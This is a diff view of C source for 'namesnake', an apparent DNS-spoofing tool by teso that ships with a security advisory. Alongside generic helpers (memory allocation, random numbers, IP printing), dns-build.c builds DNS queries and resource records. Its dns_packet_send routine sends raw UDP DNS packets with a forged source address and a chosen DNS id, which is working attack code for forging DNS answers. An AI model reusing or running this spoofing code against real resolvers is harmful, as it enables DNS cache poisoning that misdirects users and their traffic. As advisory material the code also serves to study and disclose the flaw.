| 166 | * return a random number between `lowmark' and `highmark' | ||
| 167 | */ | ||
| 168 | |||
| 169 | int | ||
| 170 | m_random (int lowmark, int highmark) | ||
| 171 | { | ||
| 172 | long int rnd; | ||
| 173 | |||
| 174 | /* flip/swap them in case user messed up | ||
| 175 | */ | ||
| 176 | if (lowmark > highmark) { | ||
| 177 | lowmark ^= highmark; | ||
| 178 | highmark ^= lowmark; | ||
| 179 | lowmark ^= highmark; | ||
| 180 | } | ||
| 181 | rnd = lowmark; | ||
| 182 | |||
| 183 | rnd += (random () % (highmark - lowmark)); | ||
| 184 | |||
| 185 | /* this is lame, i know :) | ||
| 186 | */ | ||
| 187 | return (rnd); | ||
| 188 | } | ||
| 189 | |||
| 190 | |||
| 191 | /* set_tv | ||
| 192 | * | ||
| 193 | * initializes a struct timeval pointed to by `tv' to a second value of | ||
| 194 | * `seconds' | ||
| 195 | * | ||
| 196 | * return in any case | ||
| 197 | */ | ||
| 198 | |||
| 199 | void | ||
| 200 | set_tv (struct timeval *tv, int seconds) | ||
| 201 | { | ||
| 202 | tv->tv_sec = seconds; | ||
| 203 | tv->tv_usec = 0; | ||
| 204 | |||
| 205 | return; | ||
| 206 | } | ||
| 207 | |||
| 208 | |||
| 209 | /* xstrupper | ||
| 210 | * | ||
| 211 | * uppercase a string `str' | ||
| 212 | * | ||
| 213 | * return in any case | ||
| 214 | */ | ||
| 215 | |||
| 216 | void | ||
| 217 | xstrupper (char *str) | ||
| 218 | { | ||
| 219 | for (; *str != '\0'; ++str) { | ||
| 220 | if (*str >= 'a' && *str <= 'z') { | ||
| 221 | *str -= ('a' - 'A'); | ||
| 222 | } | ||
| 223 | } | ||
| 224 | |||
| 225 | return; | ||
| 226 | } | ||
| 227 | |||
| 228 | |||
| 229 | /* concating snprintf | ||
| 230 | * | ||
| 231 | * determines the length of the string pointed to by `os', appending formatted | ||
| 232 | * string to a maximium length of `len'. | ||
| 233 | * | ||
| 234 | */ | ||
| 235 | |||
| 236 | void | ||
| 237 | scnprintf (char *os, size_t len, const char *str, ...) | ||
| 238 | { | ||
| 239 | va_list vl; | ||
| 240 | char *ostmp = os + strlen (os); | ||
| 241 | |||
| 242 | va_start (vl, str); | ||
| 243 | vsnprintf (ostmp, len - strlen (os) - 1, str, vl); | ||
| 244 | va_end (vl); | ||
| 245 | |||
| 246 | return; | ||
| 247 | } | ||
| 248 | |||
| 249 | unsigned long int | ||
| 250 | tdiff (struct timeval *old, struct timeval *new) | ||
| 251 | { | ||
| 252 | unsigned long int time1; | ||
| 253 | |||
| 254 | if (new->tv_sec >= old->tv_sec) { | ||
| 255 | time1 = new->tv_sec - old->tv_sec; | ||
| 256 | if ((new->tv_usec - 500000) >= old->tv_usec) | ||
| 257 | time1++; | ||
| 258 | } else { | ||
| 259 | time1 = old->tv_sec - new->tv_sec; | ||
| 260 | if ((old->tv_usec - 500000) >= new->tv_usec) | ||
| 261 | time1++; | ||
| 262 | } | ||
| 263 | |||
| 264 | return (time1); | ||
| 265 | } | ||
| 266 | |||
| 267 | |||
| 268 | /* ipv4_print | ||
| 269 | * | ||
| 270 | * padding = 0 -> don't padd | ||
| 271 | * padding = 1 -> padd with zeros | ||
| 272 | * padding = 2 -> padd with spaces | ||
| 273 | */ | ||
| 274 | |||
| 275 | char * | ||
| 276 | ipv4_print (char *dest, struct in_addr in, int padding) | ||
| 277 | { | ||
| 278 | unsigned char *ipp; | ||
| 279 | |||
| 280 | ipp = (unsigned char *) &in.s_addr; | ||
| 281 | |||
| 282 | strcpy (dest, ""); | ||
| 283 | |||
| 284 | switch (padding) { | ||
| 285 | case (0): | ||
| 286 | sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 287 | break; | ||
| 288 | case (1): | ||
| 289 | sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 290 | break; | ||
| 291 | case (2): | ||
| 292 | sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); | ||
| 293 | break; | ||
| 294 | default: | ||
| 295 | break; | ||
| 296 | } | ||
| 297 | |||
| 298 | return (dest); | ||
| 299 | } | ||
| 300 | |||
| 301 | |||
| 302 | void * | ||
| 303 | xrealloc (void *m_ptr, size_t newsize) | ||
| 304 | { | ||
| 305 | void *n_ptr; | ||
| 306 | |||
| 307 | n_ptr = realloc (m_ptr, newsize); | ||
| 308 | if (n_ptr == NULL) { | ||
| 309 | fprintf (stderr, "realloc failed\n"); | ||
| 310 | exit (EXIT_FAILURE); | ||
| 311 | } | ||
| 312 | |||
| 313 | return (n_ptr); | ||
| 314 | } | ||
| 315 | |||
| 316 | |||
| 317 | char * | ||
| 318 | xstrdup (char *str) | ||
| 319 | { | ||
| 320 | char *b; | ||
| 321 | |||
| 322 | b = strdup (str); | ||
| 323 | if (b == NULL) { | ||
| 324 | fprintf (stderr, "strdup failed\n"); | ||
| 325 | exit (EXIT_FAILURE); | ||
| 326 | } | ||
| 327 | |||
| 328 | return (b); | ||
| 329 | } | ||
| 330 | |||
| 331 | |||
| 332 | void * | ||
| 333 | xcalloc (int factor, size_t size) | ||
| 334 | { | ||
| 335 | void *bla; | ||
| 336 | |||
| 337 | bla = calloc (factor, size); | ||
| 338 | |||
| 339 | if (bla == NULL) { | ||
| 340 | fprintf (stderr, "no memory left\n"); | ||
| 341 | exit (EXIT_FAILURE); | ||
| 342 | } | ||
| 343 | |||
| 344 | return (bla); | ||
| 345 | } | ||
| 346 | |||
| 347 | /* source by dk | ||
| 348 | */ | ||
| 349 | |||
| 350 | char * | ||
| 351 | allocncat (char **to, char *from, size_t len) | ||
| 352 | { | ||
| 353 | int rlen = strlen (from); | ||
| 354 | int null = *to == NULL; | ||
| 355 | |||
| 356 | len = rlen < len ? rlen : len; | ||
| 357 | *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); | ||
| 358 | if (null) | ||
| 359 | **to = '\0'; | ||
| 360 | |||
| 361 | if (*to == NULL) | ||
| 362 | perror ("no memory: "); | ||
| 363 | |||
| 364 | return (strncat (*to, from, len)); | ||
| 365 | } | ||
| 366 | |||
| 367 | char * | ||
| 368 | alloccat (char **to, char *from) | ||
| 369 | { | ||
| 370 | return (allocncat (to, from, strlen (from))); | ||
| 371 | } | ||
| 372 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/common.h b/advisories/teso-advisory-003/namesnake/src/common.h new file mode 100644 index 0000000..0f41ca4 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/common.h | |||
| @@ -0,0 +1,31 @@ | |||
| 1 | |||
| 2 | #ifndef Z_COMMON_H | ||
| 3 | #define Z_COMMON_H | ||
| 4 | |||
| 5 | |||
| 6 | #include <sys/types.h> | ||
| 7 | #include <sys/time.h> | ||
| 8 | #include <netinet/in.h> | ||
| 9 | #include <unistd.h> | ||
| 10 | |||
| 11 | |||
| 12 | #ifdef DEBUG | ||
| 13 | void debugp (char *filename, const char *str, ...); | ||
| 14 | void hexdump (char *filename, unsigned char *data, unsigned int amount); | ||
| 15 | #endif | ||
| 16 | char ** file_read (char *filename); | ||
| 17 | pid_t z_fork (void); | ||
| 18 | int m_random (int lowmark, int highmark); | ||
| 19 | void set_tv (struct timeval *tv, int seconds); | ||
| 20 | void xstrupper (char *str); | ||
| 21 | void scnprintf (char *os, size_t len, const char *str, ...); | ||
| 22 | unsigned long int tdiff (struct timeval *old, struct timeval *new); | ||
| 23 | char *ipv4_print (char *dest, struct in_addr in, int padding); | ||
| 24 | void *xrealloc (void *m_ptr, size_t newsize); | ||
| 25 | char *xstrdup (char *str); | ||
| 26 | void *xcalloc (int factor, size_t size); | ||
| 27 | char *allocncat (char **to, char *from, size_t len); | ||
| 28 | char *alloccat (char **to, char *from); | ||
| 29 | |||
| 30 | #endif | ||
| 31 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns-build.c b/advisories/teso-advisory-003/namesnake/src/dns-build.c new file mode 100644 index 0000000..933db43 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns-build.c | |||
| @@ -0,0 +1,608 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * dns packet construction routines | ||
| 4 | * if you need some, just borrow here and drop me a line of credit :) | ||
| 5 | * | ||
| 6 | * by scut / teso | ||
| 7 | */ | ||
| 8 | |||
| 9 | #include <libnet.h> /* route's owning library =) */ | ||
| 10 | #include <arpa/nameser.h> | ||
| 11 | #include <netinet/in.h> | ||
| 12 | #include <stdlib.h> | ||
| 13 | #include <string.h> | ||
| 14 | #include "common.h" | ||
| 15 | #include "dns.h" | ||
| 16 | #include "dns-build.h" | ||
| 17 | #include "io-udp.h" | ||
| 18 | #include "network.h" | ||
| 19 | |||
| 20 | |||
| 21 | /* dns_build_random | ||
| 22 | * | ||
| 23 | * prequel the domain name `domain' with a random sequence of characters | ||
| 24 | * with a random length if len is zero, or a fixed length if len is != 0 | ||
| 25 | * | ||
| 26 | * return the allocated new string | ||
| 27 | */ | ||
| 28 | |||
| 29 | char * | ||
| 30 | dns_build_random (char *domain, size_t len) | ||
| 31 | { | ||
| 32 | int dlen, cc; | ||
| 33 | char *pr; | ||
| 34 | |||
| 35 | cc = dlen = (len == 0) ? m_random (3, 16) : len; | ||
| 36 | pr = xcalloc (1, strlen (domain) + dlen + 2); | ||
| 37 | for (; dlen > 0; --dlen) { | ||
| 38 | char p; | ||
| 39 | |||
| 40 | (int) p = m_random ((int) 'a', (int) 'z'); | ||
| 41 | pr[dlen - 1] = p; | ||
| 42 | } | ||
| 43 | pr[cc] = '.'; | ||
| 44 | memcpy (pr + cc + 1, domain, strlen (domain)); | ||
| 45 | |||
| 46 | return (pr); | ||
| 47 | } | ||
| 48 | |||
| 49 | |||
| 50 | /* dns_domain | ||
| 51 | * | ||
| 52 | * return a pointer to the beginning of the SLD within a full qualified | ||
| 53 | * domain name `domainname'. | ||
| 54 | * | ||
| 55 | * return NULL on failure | ||
| 56 | * return a pointer to the beginning of the SLD on success | ||
| 57 | */ | ||
| 58 | |||
| 59 | char * | ||
| 60 | dns_domain (char *domainname) | ||
| 61 | { | ||
| 62 | char *last_label = NULL, | ||
| 63 | *hold_label = NULL; | ||
| 64 | |||
| 65 | if (domainname == NULL) | ||
| 66 | return (NULL); | ||
| 67 | |||
| 68 | /* find last SLD | ||
| 69 | */ | ||
| 70 | for (; *domainname != '\x00'; ++domainname) { | ||
| 71 | if (*domainname == '.') { | ||
| 72 | last_label = hold_label; | ||
| 73 | hold_label = domainname + 1; | ||
| 74 | } | ||
| 75 | } | ||
| 76 | |||
| 77 | return (last_label); | ||
| 78 | } | ||
| 79 | |||
| 80 | |||
| 81 | /* | ||
| 82 | * gets the domain of an in-addr.arpa string. | ||
| 83 | * 123.123.123.123.in-addr.arpa ==> 123.123.123.in-addr.arpa | ||
| 84 | * return a pointer inside arpaname on success | ||
| 85 | * return NULL on failure | ||
| 86 | */ | ||
| 87 | |||
| 88 | char * | ||
| 89 | dns_ptr_domain (char *arpaname) | ||
| 90 | { | ||
| 91 | char *dot; | ||
| 92 | |||
| 93 | if (strstr (arpaname, "in-addr.arpa") == NULL) | ||
| 94 | return (NULL); | ||
| 95 | |||
| 96 | if (atoi (arpaname) == 0) | ||
| 97 | return (NULL); | ||
| 98 | |||
| 99 | dot = strchr (arpaname, '.'); | ||
| 100 | |||
| 101 | return ((dot == NULL) ? NULL : (dot + 1)); | ||
| 102 | } | ||
| 103 | |||
| 104 | |||
| 105 | /* dns_build_new | ||
| 106 | * | ||
| 107 | * constructor. create new packet data body | ||
| 108 | * | ||
| 109 | * return packet data structure pointer (initialized) | ||
| 110 | */ | ||
| 111 | |||
| 112 | dns_pdata * | ||
| 113 | dns_build_new (void) | ||
| 114 | { | ||
| 115 | dns_pdata *new; | ||
| 116 | |||
| 117 | new = xcalloc (1, sizeof (dns_pdata)); | ||
| 118 | new->p_offset = NULL; | ||
| 119 | new->p_data = NULL; | ||
| 120 | |||
| 121 | return (new); | ||
| 122 | } | ||
| 123 | |||
| 124 | |||
| 125 | /* dns_build_destroy | ||
| 126 | * | ||
| 127 | * destructor. destroy a dns_pdata structure pointed to by `pd' | ||
| 128 | * | ||
| 129 | * return in any case | ||
| 130 | */ | ||
| 131 | |||
| 132 | void | ||
| 133 | dns_build_destroy (dns_pdata *pd) | ||
| 134 | { | ||
| 135 | if (pd == NULL) | ||
| 136 | return; | ||
| 137 | |||
| 138 | if (pd->p_data != NULL) | ||
| 139 | free (pd->p_data); | ||
| 140 | free (pd); | ||
| 141 | |||
| 142 | return; | ||
| 143 | } | ||
| 144 | |||
| 145 | |||
| 146 | /* dns_build_plen | ||
| 147 | * | ||
| 148 | * calculate the length of the current packet data body pointed to by `pd'. | ||
| 149 | * | ||
| 150 | * return the packet length | ||
| 151 | */ | ||
| 152 | |||
| 153 | u_short | ||
| 154 | dns_build_plen (dns_pdata *pd) | ||
| 155 | { | ||
| 156 | if (pd == NULL) | ||
| 157 | return (0); | ||
| 158 | |||
| 159 | if (pd->p_data == NULL || pd->p_offset == NULL) | ||
| 160 | return (0); | ||
| 161 | |||
| 162 | return ((u_short) (pd->p_offset - pd->p_data)); | ||
| 163 | } | ||
| 164 | |||
| 165 | |||
| 166 | /* dns_build_extend | ||
| 167 | * | ||
| 168 | * extend a dns_pdata structure data part for `amount' bytes. | ||
| 169 | * | ||
| 170 | * return a pointer to the beginning of the extension | ||
| 171 | */ | ||
| 172 | |||
| 173 | unsigned char * | ||
| 174 | dns_build_extend (dns_pdata *pd, size_t amount) | ||
| 175 | { | ||
| 176 | unsigned int u_ptr = dns_build_plen (pd); | ||
| 177 | |||
| 178 | /* realloc is your friend =) | ||
| 179 | */ | ||
| 180 | pd->p_data = realloc (pd->p_data, u_ptr + amount); | ||
| 181 | if (pd->p_data == NULL) { | ||
| 182 | exit (EXIT_FAILURE); | ||
| 183 | } | ||
| 184 | |||
| 185 | /* since realloc can move the memory we have to calculate | ||
| 186 | * p_offset completely from scratch | ||
| 187 | */ | ||
| 188 | pd->p_offset = pd->p_data + u_ptr + amount; | ||
| 189 | |||
| 190 | return (pd->p_data + u_ptr); | ||
| 191 | } | ||
| 192 | |||
| 193 | |||
| 194 | /* dns_build_ptr | ||
| 195 | * | ||
| 196 | * take a numeric quad dot notated ip address `ip_str' and build a char | ||
| 197 | * domain out of it within the IN-ADDR.ARPA domain. | ||
| 198 | * | ||
| 199 | * return NULL on failure | ||
| 200 | * return a char pointer to the converted domain name | ||
| 201 | */ | ||
| 202 | |||
| 203 | char * | ||
| 204 | dns_build_ptr (char *ip_str) | ||
| 205 | { | ||
| 206 | char *ip_ptr; | ||
| 207 | int dec[4]; | ||
| 208 | int n; | ||
| 209 | |||
| 210 | if (ip_str == NULL) | ||
| 211 | return (NULL); | ||
| 212 | |||
| 213 | /* kludge for functions that already pass a reversed string | ||
| 214 | */ | ||
| 215 | if (strstr (ip_str, "in-addr.arpa")) | ||
| 216 | return (xstrdup (ip_str)); | ||
| 217 | |||
| 218 | /* parse ip string, on failure drop conversion | ||
| 219 | */ | ||
| 220 | n = sscanf (ip_str, "%d.%d.%d.%d", &dec[0], &dec[1], &dec[2], &dec[3]); | ||
| 221 | if (n != 4) | ||
| 222 | return (NULL); | ||
| 223 | |||
| 224 | /* allocate a new string of the required length | ||
| 225 | */ | ||
| 226 | ip_ptr = xcalloc (1, strlen (ip_str) + strlen (".in-addr.arpa") + 1); | ||
| 227 | sprintf (ip_ptr, "%d.%d.%d.%d.in-addr.arpa", dec[3], dec[2], dec[1], dec[0]); | ||
| 228 | |||
| 229 | return (ip_ptr); | ||
| 230 | } | ||
| 231 | |||
| 232 | |||
| 233 | /* dns_build_q | ||
| 234 | * | ||
| 235 | * append a query record into a dns_pdata structure, where `dname' is the | ||
| 236 | * domain name that should be queried, using `qtype' and `qclass' as types. | ||
| 237 | * | ||
| 238 | * conversion of the `dname' takes place according to the value of `qtype': | ||
| 239 | * | ||
| 240 | * qtype | expected dname format | converted to | ||
| 241 | * ---------+-----------------------+----------------------------------------- | ||
| 242 | * T_PTR | char *, ip address | IN-ADDR.ARPA dns domain name | ||
| 243 | * T_A | char *, full hostname | dns domain name | ||
| 244 | * T_NS | " | " | ||
| 245 | * T_CNAME | " | " | ||
| 246 | * T_SOA | " | " | ||
| 247 | * T_WKS | " | " | ||
| 248 | * T_HINFO | " | " | ||
| 249 | * T_MINFO | " | " | ||
| 250 | * T_MX | " | " | ||
| 251 | * T_ANY | " | " | ||
| 252 | * | ||
| 253 | * return (beside adding the record) the pointer to the record within the data | ||
| 254 | */ | ||
| 255 | |||
| 256 | unsigned char * | ||
| 257 | dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass) | ||
| 258 | { | ||
| 259 | unsigned char *qdomain = NULL; | ||
| 260 | unsigned char *tgt, *rp; | ||
| 261 | int dlen; | ||
| 262 | |||
| 263 | switch (qtype) { | ||
| 264 | case (T_PTR): | ||
| 265 | /* convert in itself, then convert to a dns domain | ||
| 266 | */ | ||
| 267 | dname = dns_build_ptr (dname); | ||
| 268 | if (dname == NULL) | ||
| 269 | return (NULL); | ||
| 270 | |||
| 271 | case (T_A): | ||
| 272 | case (T_NS): | ||
| 273 | case (T_CNAME): | ||
| 274 | case (T_SOA): | ||
| 275 | case (T_WKS): | ||
| 276 | case (T_HINFO): | ||
| 277 | case (T_MINFO): | ||
| 278 | case (T_MX): | ||
| 279 | case (T_TXT): | ||
| 280 | case (T_ANY): | ||
| 281 | /* convert to a dns domain | ||
| 282 | */ | ||
| 283 | dlen = dns_build_domain (&qdomain, dname); | ||
| 284 | if (dlen == 0) | ||
| 285 | return (NULL); | ||
| 286 | break; | ||
| 287 | default: | ||
| 288 | return (NULL); | ||
| 289 | } | ||
| 290 | |||
| 291 | tgt = rp = dns_build_extend (pd, dlen + sizeof (qtype) + sizeof (qclass)); | ||
| 292 | |||
| 293 | memcpy (tgt, qdomain, dlen); | ||
| 294 | tgt += dlen; | ||
| 295 | free (qdomain); | ||
| 296 | |||
| 297 | PUTSHORT (qtype, tgt); | ||
| 298 | PUTSHORT (qclass, tgt); | ||
| 299 | |||
| 300 | return (rp); | ||
| 301 | } | ||
| 302 | |||
| 303 | |||
| 304 | /* dns_build_rr | ||
| 305 | * | ||
| 306 | * append a resource record into a dns_pdata structure, pointed ty by `pd', | ||
| 307 | * where `dname' is the domain name the record belongs to, `type' and `class' | ||
| 308 | * are the type and class of the dns data part, `ttl' is the time to live, | ||
| 309 | * the time in seconds how long to cache the record. `rdlength' is the length | ||
| 310 | * of the resource data pointed to by `rdata'. | ||
| 311 | * depending on `type' the data at `rdata' will be converted to the appropiate | ||
| 312 | * type: | ||
| 313 | * | ||
| 314 | * type | rdata points to | will be | ||
| 315 | * -------+---------------------+--------------------------------------------- | ||
| 316 | * T_A | char IP address | 4 byte network byte ordered IP address | ||
| 317 | * T_PTR | char domain name | encoded dns domain name | ||
| 318 | * T_NS | char domain name | encoded dns domain name | ||
| 319 | * | ||
| 320 | * return (beside adding the record) the pointer to the record within the data | ||
| 321 | */ | ||
| 322 | |||
| 323 | unsigned char * | ||
| 324 | dns_build_rr (dns_pdata *pd, unsigned char *dname, u_short type, u_short class, | ||
| 325 | u_long ttl, void *rdata) | ||
| 326 | { | ||
| 327 | char *ptr_ptr = NULL; | ||
| 328 | struct in_addr ip_addr; /* temporary, to convert */ | ||
| 329 | unsigned char *qdomain = NULL; | ||
| 330 | unsigned char *tgt, *rp = NULL; | ||
| 331 | u_short rdlength = 0; | ||
| 332 | unsigned char *rdata_converted; /* converted rdata */ | ||
| 333 | int n; | ||
| 334 | |||
| 335 | switch (type) { | ||
| 336 | case (T_A): | ||
| 337 | |||
| 338 | /* resolve the quad dotted IP address, then copy it into the | ||
| 339 | * rdata array | ||
| 340 | */ | ||
| 341 | |||
| 342 | ip_addr.s_addr = net_resolve ((char *) rdata); | ||
| 343 | rdata_converted = xcalloc (1, sizeof (struct in_addr)); | ||
| 344 | memcpy (rdata_converted, &ip_addr.s_addr, sizeof (struct in_addr)); | ||
| 345 | rdlength = 4; | ||
| 346 | |||
| 347 | break; | ||
| 348 | |||
| 349 | case (T_NS): | ||
| 350 | case (T_CNAME): | ||
| 351 | case (T_PTR): | ||
| 352 | |||
| 353 | /* build a dns domain from the plaintext domain name | ||
| 354 | */ | ||
| 355 | n = dns_build_domain ((unsigned char **) &rdata_converted, (char *) rdata); | ||
| 356 | if (n == 0) | ||
| 357 | return (NULL); | ||
| 358 | rdlength = n; | ||
| 359 | |||
| 360 | break; | ||
| 361 | |||
| 362 | case (T_TXT): | ||
| 363 | |||
| 364 | rdata_converted = xstrdup (rdata); | ||
| 365 | rdlength = strlen (rdata_converted); | ||
| 366 | |||
| 367 | break; | ||
| 368 | |||
| 369 | default: | ||
| 370 | return (NULL); | ||
| 371 | } | ||
| 372 | |||
| 373 | /* create a real dns domain from the plaintext query domain | ||
| 374 | */ | ||
| 375 | switch (type) { | ||
| 376 | case (T_PTR): | ||
| 377 | ptr_ptr = dns_build_ptr (dname); | ||
| 378 | dname = ptr_ptr; | ||
| 379 | default: | ||
| 380 | n = dns_build_domain (&qdomain, dname); | ||
| 381 | if (n == 0) | ||
| 382 | goto rr_fail; | ||
| 383 | break; | ||
| 384 | } | ||
| 385 | if (ptr_ptr != NULL) | ||
| 386 | free (ptr_ptr); | ||
| 387 | |||
| 388 | /* extend the existing dns packet to hold our extra rr record | ||
| 389 | */ | ||
| 390 | tgt = rp = dns_build_extend (pd, dns_labellen (qdomain) + sizeof (type) + | ||
| 391 | sizeof (class) + sizeof (ttl) + sizeof (rdlength) + rdlength); | ||
| 392 | |||
| 393 | memcpy (tgt, qdomain, dns_labellen (qdomain)); | ||
| 394 | tgt += dns_labellen (qdomain); | ||
| 395 | free (qdomain); | ||
| 396 | |||
| 397 | PUTSHORT (type, tgt); | ||
| 398 | PUTSHORT (class, tgt); | ||
| 399 | PUTLONG (ttl, tgt); | ||
| 400 | PUTSHORT (rdlength, tgt); | ||
| 401 | |||
| 402 | memcpy (tgt, rdata_converted, rdlength); | ||
| 403 | tgt += rdlength; | ||
| 404 | |||
| 405 | rr_fail: | ||
| 406 | free (rdata_converted); | ||
| 407 | |||
| 408 | return (rp); | ||
| 409 | } | ||
| 410 | |||
| 411 | |||
| 412 | /* dns_build_query_label | ||
| 413 | * | ||
| 414 | * build a query label given from the data `query' that should be enclosed | ||
| 415 | * and the query type `qtype' and query class `qclass'. | ||
| 416 | * the label is passed back in printable form, not in label-length form. | ||
| 417 | * | ||
| 418 | * qtype qclass query | ||
| 419 | * -----------+---------------+----------------------------------------------- | ||
| 420 | * A IN pointer to a host- or domainname | ||
| 421 | * PTR IN pointer to a struct in_addr | ||
| 422 | * | ||
| 423 | * ... (to be extended) ... | ||
| 424 | * | ||
| 425 | * return 0 on success | ||
| 426 | * return 1 on failure | ||
| 427 | */ | ||
| 428 | |||
| 429 | int | ||
| 430 | dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query) | ||
| 431 | { | ||
| 432 | char label[256]; | ||
| 433 | struct in_addr *ip; | ||
| 434 | |||
| 435 | /* we do only internet queries (qclass is just for completeness) | ||
| 436 | * also drop empty queries | ||
| 437 | */ | ||
| 438 | if (qclass != C_IN || query == NULL) | ||
| 439 | return (1); | ||
| 440 | |||
| 441 | switch (qtype) { | ||
| 442 | case (T_A): *query_dst = xstrdup (query); | ||
| 443 | break; | ||
| 444 | |||
| 445 | case (T_PTR): memset (label, '\0', sizeof (label)); | ||
| 446 | ip = (struct in_addr *) query; | ||
| 447 | net_printipr (ip, label, sizeof (label) - 1); | ||
| 448 | scnprintf (label, sizeof (label), ".in-addr.arpa"); | ||
| 449 | *query_dst = xstrdup (label); | ||
| 450 | break; | ||
| 451 | default: return (1); | ||
| 452 | break; | ||
| 453 | } | ||
| 454 | |||
| 455 | return (0); | ||
| 456 | } | ||
| 457 | |||
| 458 | |||
| 459 | /* dns_build_domain | ||
| 460 | * | ||
| 461 | * build a dns domain label sequence out of a printable domain name | ||
| 462 | * store the resulting domain in `denc', get the printable domain | ||
| 463 | * from `domain'. | ||
| 464 | * | ||
| 465 | * return 0 on failure | ||
| 466 | * return length of the created domain (include suffixing '\x00') | ||
| 467 | */ | ||
| 468 | |||
| 469 | int | ||
| 470 | dns_build_domain (unsigned char **denc, char *domain) | ||
| 471 | { | ||
| 472 | char *start = domain, | ||
| 473 | *out, | ||
| 474 | c = '\0'; | ||
| 475 | int n = strlen (domain); | ||
| 476 | |||
| 477 | if (n > MAXDNAME) | ||
| 478 | return (0); | ||
| 479 | |||
| 480 | out = *denc = xcalloc (1, n + 2); | ||
| 481 | |||
| 482 | domain += n - 1; | ||
| 483 | out += n + 1; | ||
| 484 | *out-- = 0; | ||
| 485 | |||
| 486 | n = 0; | ||
| 487 | |||
| 488 | while (domain >= start) { | ||
| 489 | c = *domain--; | ||
| 490 | if (c == '.') { | ||
| 491 | *out-- = n; | ||
| 492 | n = 0; | ||
| 493 | } else { | ||
| 494 | *out-- = c; | ||
| 495 | n++; | ||
| 496 | } | ||
| 497 | } | ||
| 498 | |||
| 499 | if (n != '\0') | ||
| 500 | *out-- = n; | ||
| 501 | |||
| 502 | return (strlen (out + 1) + 1); | ||
| 503 | } | ||
| 504 | |||
| 505 | |||
| 506 | /* dns_build_domain_dotlen | ||
| 507 | * | ||
| 508 | * helper routine, determine the length of the next label in a human | ||
| 509 | * printed domain name | ||
| 510 | * | ||
| 511 | * return the number of characters until an occurance of \x00 or '.' | ||
| 512 | */ | ||
| 513 | |||
| 514 | int | ||
| 515 | dns_build_domain_dotlen (char *label) | ||
| 516 | { | ||
| 517 | int n; | ||
| 518 | |||
| 519 | /* determine length | ||
| 520 | */ | ||
| 521 | for (n = 0; *label != '.' && *label != '\x00'; n++, ++label) | ||
| 522 | ; | ||
| 523 | |||
| 524 | return (n); | ||
| 525 | } | ||
| 526 | |||
| 527 | |||
| 528 | /* dns_packet_send | ||
| 529 | * | ||
| 530 | * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using | ||
| 531 | * source port `prt_src' and destination port `prt_dst'. the dns header | ||
| 532 | * data is filled with `dns_id', the dns identification number of the | ||
| 533 | * packet, `flags', which are the 16bit flags in the dns header, then | ||
| 534 | * four count variables, each for a dns segment: `count_q' is the number | ||
| 535 | * of queries, `count_a' the number of answers, `count_ns' the number of | ||
| 536 | * nameserver entries and `count_ad' the number of additional entries. | ||
| 537 | * the real dns data is aquired from `dbuf', `dbuf_s' bytes in length. | ||
| 538 | * the dns data should be constructed using the dns_build_* functions. | ||
| 539 | * if the packet should be compressed before sending it, `compress' | ||
| 540 | * should be set to 1. | ||
| 541 | * | ||
| 542 | * return 0 on success | ||
| 543 | * return 1 on failure | ||
| 544 | */ | ||
| 545 | |||
| 546 | int | ||
| 547 | dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst, | ||
| 548 | u_short dns_id, u_short flags, u_short count_q, u_short count_a, | ||
| 549 | u_short count_ns, u_short count_ad, dns_pdata *pd) | ||
| 550 | { | ||
| 551 | int sock; /* raw socket, yeah :) */ | ||
| 552 | int n; /* temporary return value */ | ||
| 553 | unsigned char buf[4096]; /* final packet buffer */ | ||
| 554 | unsigned char *dbuf = pd->p_data; | ||
| 555 | size_t dbuf_s = dns_build_plen (pd); | ||
| 556 | struct in_addr s_addr, | ||
| 557 | d_addr; | ||
| 558 | |||
| 559 | |||
| 560 | s_addr.s_addr = net_resolve (ip_src); | ||
| 561 | d_addr.s_addr = net_resolve (ip_dst); | ||
| 562 | |||
| 563 | libnet_build_dns ( dns_id, /* dns id (the famous one, 'antilove'd by many users ;) */ | ||
| 564 | flags, /* standard query response */ | ||
| 565 | count_q, /* count for query */ | ||
| 566 | count_a, /* count for answer */ | ||
| 567 | count_ns, /* count for authoritative information */ | ||
| 568 | count_ad, /* count for additional information */ | ||
| 569 | dbuf, /* buffer with the queries/rr's */ | ||
| 570 | dbuf_s, /* query size */ | ||
| 571 | buf + IP_H + UDP_H); /* write into packet buffer */ | ||
| 572 | |||
| 573 | libnet_build_udp ( prt_src, /* source port */ | ||
| 574 | prt_dst, /* 53 usually */ | ||
| 575 | NULL, /* content already there */ | ||
| 576 | DNS_H + dbuf_s, /* same */ | ||
| 577 | buf + IP_H); /* build after ip header */ | ||
| 578 | |||
| 579 | libnet_build_ip ( UDP_H + DNS_H + dbuf_s, /* content size */ | ||
| 580 | 0, /* tos */ | ||
| 581 | libnet_get_prand (PRu16), /* id :) btw, what does 242 mean ? */ | ||
| 582 | 0, /* frag */ | ||
| 583 | 64, /* ttl */ | ||
| 584 | IPPROTO_UDP, /* subprotocol */ | ||
| 585 | s_addr.s_addr, /* spoofa ;) */ | ||
| 586 | d_addr.s_addr, /* local dns querier */ | ||
| 587 | NULL, /* payload already there */ | ||
| 588 | 0, /* same */ | ||
| 589 | buf); /* build in packet buffer */ | ||
| 590 | |||
| 591 | libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + dbuf_s); | ||
| 592 | libnet_do_checksum (buf, IPPROTO_IP, IP_H); | ||
| 593 | |||
| 594 | sock = libnet_open_raw_sock(IPPROTO_RAW); | ||
| 595 | if (sock == -1) | ||
| 596 | return (1); | ||
| 597 | |||
| 598 | n = libnet_write_ip (sock, buf, UDP_H + IP_H + DNS_H + dbuf_s); | ||
| 599 | if (n < UDP_H + IP_H + DNS_H + dbuf_s) { | ||
| 600 | return (1); | ||
| 601 | } | ||
| 602 | |||
| 603 | close (sock); | ||
| 604 | |||
| 605 | return (0); | ||
| 606 | } | ||
| 607 | |||
| 608 | |||
